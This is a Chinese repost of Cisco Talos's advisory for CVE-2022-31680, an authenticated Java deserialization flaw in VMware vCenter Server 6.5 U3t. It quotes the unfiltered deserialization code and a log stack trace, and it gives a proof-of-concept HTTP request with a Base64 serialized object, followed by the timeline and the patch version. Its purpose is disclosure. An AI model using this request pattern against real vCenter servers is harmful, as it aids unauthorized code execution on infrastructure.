【漏洞速递 | CVE-2022-31680】VMware vCenter Server 不安全反序列化漏洞
2022-10-12 18:9:14 Author: EchoSec(查看原文) 阅读量:87 收藏

0x01 概括

VMware vCenter Server 6.5 Update 3t 的 Platform Services Controller 功能中存在一个不安全的反序列化漏洞。特制的 HTTP 请求可能导致远程代码执行。攻击者可以发送 HTTP 请求来触发此漏洞。

0x02 确认的易受攻击的版本

以下版本经 Talos 测试或验证为易受攻击，或由供应商确认易受攻击。

VMware vCenter Server 6.5 更新 3t
0x03 产品网址
vCenter Server https://www.vmware.com/products/vcenter-server.html
0x04 CVSSV3 分数

8.7 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N

0x05 细节

VMware vCenter Server 是一个平台，可以集中控制和监控 vSphere 中包含的所有虚拟机和 EXSi 管理程序。

data服务的处理程序中存在认证后 java 反序列化漏洞psc ( Platform Services Controller)。让我们看一下代码中易受攻击的部分。深入到/psc/data/constraint/{constraintBlob}/*处理程序的实现，我们可以看到以下代码：

getDataByConstraint
Line 1  @RequestMapping({"/constraint/{constraintBlob}"})Line 2  @ResponseBodyLine 3  public Map<String, Object> getDataByConstraint(@PathVariable("constraintBlob") String serializedConstraintObject, @RequestParam(value = "properties", required = false) String paramString2) throws Exception {Line 4    if (StringUtil.isNullOrWhitespace(serializedConstraintObject))Line 5      return null; Line 6    Constraint constraint = CommonUtils.deserializeConstaintFromBase64Str(serializedConstraintObject);    (...)

Constraint用户可以将附加 Base64 编码的序列化对象作为 url 的一部分传递给这个 servlet line 6。查看实现，deserializeConstaintFromBase64Str我们看到以下代码：

deserializeConstaintFromBase64Str
Line 41  public static Constraint deserializeConstaintFromBase64Str(String paramString) {Line 42    Constraint constraint = null;Line 43    byte[] arrayOfByte = Base64.decodeBase64(paramString);Line 44    ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(arrayOfByte);Line 45    try {Line 46      JBossObjectInputStream jBossObjectInputStream = new JBossObjectInputStream(byteArrayInputStream);Line 47      constraint = (Constraint)jBossObjectInputStream.readObject();Line 48      StreamUtil.close((Closeable)jBossObjectInputStream);Line 49    } catch (IOException iOException) {Line 50      _logger.error("Was not able to create a JBossObjectInputStream");Line 51    } catch (ClassNotFoundException classNotFoundException) {Line 52      _logger.error("Was not able to deserialize Constraint object from JBossObjectInputStream");Line 53    } finally {Line 54      StreamUtil.close(byteArrayInputStream);Line 55    } Line 56    return constraint;Line 57  }

如您所见，没有与反序列化对象相关的过滤lines 43-46。开发人员根本不检查反序列化的对象类型，然后在line 47. 我们可以通过序列化和发送（例如，一个名为Employee. 在psc日志中，我们可以观察到以下错误：

java.lang.ClassNotFoundException: Employee    at org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1415)    at org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1223)    at java.lang.Class.forName0(Native Method)    at java.lang.Class.forName(Class.java:348)    at org.jboss.serial.io.JBossObjectInputStream.resolveClass(JBossObjectInputStream.java:141)    at org.jboss.serial.io.JBossObjectInputStream$1.resolveClass(JBossObjectInputStream.java:127)    at org.jboss.serial.classmetamodel.ClassMetamodelFactory.resolveClassByName(ClassMetamodelFactory.java:266)    at org.jboss.serial.classmetamodel.ClassMetamodelFactory.getClassMetaData(ClassMetamodelFactory.java:289)    at org.jboss.serial.classmetamodel.StreamingClass.readStream(StreamingClass.java:72)    at org.jboss.serial.objectmetamodel.ObjectDescriptorFactory.readObjectDescriptionFromStreaming(ObjectDescriptorFactory.java:381)    at org.jboss.serial.objectmetamodel.ObjectDescriptorFactory.objectFromDescription(ObjectDescriptorFactory.java:82)    at org.jboss.serial.objectmetamodel.DataContainer$DataContainerDirectInput.readObject(DataContainer.java:643)    at org.jboss.serial.io.JBossObjectInputStream.readObjectOverride(JBossObjectInputStream.java:163)    at java.io.ObjectInputStream.readObject(ObjectInputStream.java:492)    at java.io.ObjectInputStream.readObject(ObjectInputStream.java:459)    at com.vmware.vise.mvc.util.CommonUtils.deserializeConstaintFromBase64Str(CommonUtils.java:68)    at com.vmware.vise.mvc.controllers.DataAccessController.getDataByConstraint(DataAccessController.java:142)    (...)

这种数据反序列化的方法非常危险，可能允许攻击者执行任意命令。

0x06 利用概念证明

请求

GET /psc/data/constraint/amJzMXszAAAAATMAAAACAAAIRW1wbG95ZWUAASL6C7Hsp5eXAAKXEjO-44rgaCk1FZKH_mF7AQQAAAADAAAGTWFyY2luAAB6aQ HTTP/1.1Host: 192.168.0.109Cookie: JSESSIONID=D8E403940B6B595FF53158ED63671A69; XSRF-TOKEN=b28efbac-6d3c-4fcb-b177-baee9c1e005e; VSPHERE-USERNAME=Administrator%40VSPHERE.LOCAL; VSPHERE-CLIENT-SESSION-INDEX=_87577cc1f7ac5bba20fe8d947d9ffcfeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0Accept: application/json, text/plain, */*Accept-Language: pl,en-US;q=0.7,en;q=0.3Accept-Encoding: gzip, deflatePragma: no-cacheIsangularrequest: trueX-Xsrf-Token: b28efbac-6d3c-4fcb-b177-baee9c1e005eReferer: https://192.168.0.109/psc/Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originTe: trailersConnection: close
0x07 时间线
2022-08-09 - 供应商披露2022-10-06 - 供应商补丁发布2022-10-10 - 公开发布

0x08 修复方案

升级 vCenter Server 到 6.5 U3u 或更高版本

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CREDIT

Discovered by Marcin 'Icewall' Noga of Cisco Talos.

原文地址：

https://talosintelligence.com/vulnerability_reports/TALOS-2022-1587


文章来源: http://mp.weixin.qq.com/s?__biz=MzU3MTU3NTY2NA==&mid=2247485933&idx=1&sn=56608952eb6ddf4c41cdbefee967dc7a&chksm=fcdf55f2cba8dce41ee6579d64ac8237358d5d5cd6cb99669695d714787fe74d65c13deb7d4d#rd
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